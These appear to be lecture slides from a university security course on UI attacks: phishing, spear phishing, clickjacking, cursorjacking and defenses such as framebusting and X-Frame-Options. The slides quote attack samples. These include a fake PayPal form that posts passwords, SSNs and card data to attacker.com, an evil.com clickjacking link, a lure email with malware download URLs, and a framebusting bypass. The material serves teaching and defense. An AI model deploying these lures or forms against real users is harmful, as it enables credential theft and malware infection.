Web Security: UI Attacks

CS 161: Computer Security

Prof. Raluca Ada Popa

April 17, 2020

Some content adapted from materials by Dan Boneh
Announcements

• Starting recording
• TA checking chat
• Project 3 part 1 due on 4/17 at 11:59pm (extended)
• HMW3b released, due 4/24
Recall: Phishing attack

• Attacker creates fake website that appears similar to a real one
• Tricks user to visit site (e.g. sending phishing email)
• User inserts credentials and sensitive data which gets sent to attacker
• Web page then directs to real site or shows maintenance issues
Please fill in the correct information for the following category to verify your identity.

Security Measures

Email address: 
PayPal Password: 

Full Name: 
SSN: ___ - ___ - ___
Card Type: 
Card Number: 
Expiration Date: Month / Year (mm/yyyy)
Card Verification Number (CVV2): 
Street: 
City: 
Country: United States
Zip Code: 

Telephone: 
Verified By Visa / Mastercard Securecode: 
Date of Birth: ___ - ___ - ___ (Ex: dd-mm-yyyy)

Protect Your Account Info

Make sure you never provide your password to fraudulent persons.

PayPal automatically encrypts your confidential information using the Secure Sockets Layer protocol (SSL) with an encryption key length of 128-bits (the highest level commercially available).

For more information on protecting yourself from fraud, please review our Security Tips at http://www.paypal.com/securitytips

Protect Your Password

You should never give your PayPal password to anyone, including PayPal employees.

<form action="http://attacker.com/paypal.php" method="post" name=Date>
Recall: phishing prevention

- User should check URL they are visiting!
  - In the address bar not on text on page
- URL obfuscation attack: bankofthevvvest.com
- Homeograph attack: paypal.com (first p in Cyrillic)
- User should check URL carefully!
“Spear Phishing”

From: Lab.senior.manager@gmail.com
Subject: FW: Agenda
Body: This below agenda just came in form from Susan, please look at it.
>From: Norris, Susan (ORO)
>To: Manager, Senior; Rabovsky, Joel MJ
>Subject: Agenda
>Thanks, nice to know that you all care this so much!
>
>Susan Norris
>norrissg@oro.doe.gov
Attached: Agenda Mar 4.pdf

Targeted phishing that includes details that seemingly must mean it’s legitimate
Russian spear phishing attack against .mil and .gov employees

A "relatively large" number of U.S. government and military employees are being taken in by a spear phishing attack which delivers a variant of the Zeus trojan. The email address is spoofed to appear to be from the NSA or InteLink concerning a report by the National Intelligence Council named the "2020 Project". Its purpose is to collect passwords and obtain remote access to the infected hosts.

Security Update for Windows 2000/XP/Vista/7 (KB823988)

About this download: A security issue has been identified that could allow an attacker to remotely compromise a computer running Microsoft Windows and gain complete control over it. You can help protect your computer by installing this update from Microsoft. After you install this item, you may have to restart your computer.

Download:

http://mv.net.md/update/update.zip

or

http://www.sendspace.com/file/xwc1pi

Jeffrey Carr is the CEO of GreyLogic, the Founder and Principal Investigator of Project Grey Goose, and the author of "Inside Cyber Warfare".
jeffreyc@greylogic.us
Sophisticated phishing

- Context-aware phishing – 10% users fooled
  - Spoofed email includes info related to a recent eBay transaction/listing/purchase
- Social phishing – 70% users fooled
  - Send spoofed email appearing to be from one of the victim’s friends (inferred using social networks)

West Point experiment

- Cadets received a spoofed email near end of semester:
  “There was a problem with your last grade report; click here to resolve it.” 80% clicked.
Why does phishing work?

• User mental model vs. reality
  – Browser security model too hard to understand!
• The easy path is insecure; the secure path takes extra effort
• Risks are rare
Authenticating the server

- Users should:
  - Check the address bar carefully. Or, load the site via a bookmark or by typing into the address bar.
  - Guard against spam
  - Do not click on links, attachments from unknown

- Browsers also receive regular blacklists of phishing sites (but this is not immediate)
- Mail servers try to eliminate phishing email
Authentication summary

- We need to authenticate both users and servers
- Phishing attack impersonates server
- A disciplined user can reduce occurrence of phishing attacks
UI-based attacks
Clickjacking attacks

• Exploitation where a user’s mouse click is used in a way that was not intended by the user
Simple example

<a

    onMouseDown=window.open(http://www.evil.com)

    href=http://www.google.com/>

Go to Google</a>

What does it do?
• Opens a window to the attacker site

Why include href to Google?
• Browser status bar shows URL when hovering over as a means of protection
Recall: Frames

- A frame is used to embed another document within the current HTML document
- Any site can frame another site
- The `<iframe>` tag specifies an inline frame
What happens in this case?

Funny cats website

JavaScript

Same-origin policy prevents this access
How to bypass same-origin policy for frames?

Clickjacking
Clickjacking using frames

Evil site frames good site
Evil site covers good site by putting dialogue boxes or other elements on top of parts of framed site to create a different effect
Inner site now looks different to user
Compromise visual integrity – target

- Hiding the target
- Partial overlays
UI Subversion: *Clickjacking*

- An attack application (script) compromises the *context integrity* of another application’s User Interface when the user acts on the UI.

**Visual integrity**
- Target is visible
- Pointer is visible

**Temporal integrity**
- Target\_clicked = Target\_checked
- Pointer\_clicked = Pointer\_checked

**Context integrity** consists of visual integrity + temporal integrity

1. Target checked
2. Initiate click
3. Target clicked
Compromise visual integrity – target

• Hiding the target
• Partial overlays
Compromise visual integrity – pointer: cursorjacking

• Can customize cursor!

CSS example:
```css
#mycursor {
cursor: none;
width: 97px;
height: 137px;
background: url("images/custom-cursor.jpg")
}
```

• Javascript can keep updating cursor, can display shifted cursor

Fake cursor, but more visible

Real cursor visible
Compromise visual integrity – pointer: cursorjacking

Cursorjacking deceives a user by using a custom cursor image, where the pointer was displayed with an offset.

Fake, but more visible

real
Clickjacking to Access the User’s Webcam

You will be redirected to the requested page in 60 seconds.

Adobe Flash Player Settings
Camera and Microphone Access
www.webperflab.com is requesting access to your camera and microphone. If you click Allow, you may be recorded.

Real cursor
Fake cursor
How can we defend against clickjacking?
Defenses

• User confirmation
  - Good site pops dialogue box with information on the action it is about to make and asks for user confirmation
  - Degrades user experience

• UI randomization
  - good site embeds dialogues at random locations so it is hard to overlay
  - Difficult & unreliable (e.g. multi-click attacks)
Defense 3: Framebusting

Web site includes code on a page that prevents other pages from framing it.
What is framebusting?

Framebusting code is often made up of:

• a conditional statement and
• a counter action

Common method:

```java
if (top != self) {
    top.location = self.location;
}
```
A Survey

Framebusting is very common at the Alexa Top 500 sites

<table>
<thead>
<tr>
<th>Sites</th>
<th>Framebusting</th>
</tr>
</thead>
<tbody>
<tr>
<td>Top 10</td>
<td>60%</td>
</tr>
<tr>
<td>Top 100</td>
<td>37%</td>
</tr>
<tr>
<td>Top 500</td>
<td>14%</td>
</tr>
</tbody>
</table>

[global traffic rank of a website]

credit: Gustav Rydstedt
### Conditional Statements

- `if (top !== self)`
- `if (top.location !== self.location)`
- `if (top.location !== location)`
- `if (parent.frames.length > 0)`
- `if (window !== top)`
- `if (window.top !== window.self)`
- `if (window.self !== window.top)`
- `if (parent && parent !== window)`
- `if (parent && parent.frames && parent.frames.length > 0)`
- `if (parent && !parent.parent === self) && (parent.frames.length !== 0)`

### Many framebusting methods
Many framebusting methods

<table>
<thead>
<tr>
<th>Counter-Action Statements</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>top.location = self.location</code></td>
</tr>
<tr>
<td><code>top.location.href = document.location.href</code></td>
</tr>
<tr>
<td><code>top.location.href = self.location.href</code></td>
</tr>
<tr>
<td><code>top.location.replace(self.location)</code></td>
</tr>
<tr>
<td><code>top.location.href = window.location.href</code></td>
</tr>
<tr>
<td><code>top.location.replace(document.location)</code></td>
</tr>
<tr>
<td><code>top.location.href = window.location.href</code></td>
</tr>
<tr>
<td><code>top.location.href = &quot;URL&quot;</code></td>
</tr>
<tr>
<td><code>document.write('')</code></td>
</tr>
<tr>
<td><code>top.location = location</code></td>
</tr>
<tr>
<td><code>top.location.replace(document.location)</code></td>
</tr>
<tr>
<td><code>top.location.replace('URL')</code></td>
</tr>
<tr>
<td><code>top.location.href = document.location</code></td>
</tr>
</tbody>
</table>
Most current framebusting can be defeated
Goal: bank.com wants only bank.com’s sites to frame it

Bank runs this code to protect itself:

```javascript
if (top.location != location) {
    if (document.referrer &&
        document.referrer.indexOf("bank.com") == -1)
    {
        top.location.replace(document.location.href);
    }
}
```

Problem: http://badguy.com?q=bank.com
Defense: Ensuring visual integrity of pointer

- Remove cursor customization
  - Attack success: 43% -> 16%
Ensuring visual integrity of pointer

- Freeze screen outside of the target display area when the real pointer enters the target
  - Attack success: 43% -> 15%
  - Attack success (margin=10px): 12%
  - Attack success (margin=20px): 4% (baseline:5%)
Ensuring visual integrity of pointer

- Lightbox effect around target on pointer entry
  - Attack success (Freezing + lightbox): 2%
How about a temporal integrity attack example?
Temporal clickjacking

As you click on a button for an insensitive action, a button for a sensitive action appears overlayed and you click on it by mistake.
Enforcing temporal integrity

• UI delay: after visual changes on target or pointer, invalidate clicks for X ms
  – Attack success (delay=250ms): 47% -> 2% (2/91)
  – Attack success (delay=500ms): 1% (1/89)
Enforcing temporal integrity

- Pointer re-entry: after visual changes on target, invalidate clicks until pointer re-enters target
  - Attack success: 0% (0/88)
Is there any hope?
Other defense: X-Frames-Options
(IE8, Safari, FF3.7)

• Web server attaches HTTP header to response

• Two possible values: DENY and SAMEORIGIN
  
  • DENY: browser will not render page in framed context
  
  • SAMEORIGIN: browser will only render if top frame is same origin as page giving directive

• Good defense … but poor adoption by sites (4 of top 10,000)

• Coarse policies: no whitelisting of partner sites, which should be allowed to frame our site
Other Forms of UI Sneakiness

• Users might find themselves living in *The Matrix* …
“Browser in Browser”

Apparent browser is just a **fully interactive image** generated by Javascript running in real browser! **URL checking looks good!**
Summary

• Clickjacking is an attack on our perception of a page based on the UI

• Framebusting is tricky to get right
  • All currently deployed code can be defeated

• Use X-Frame-Options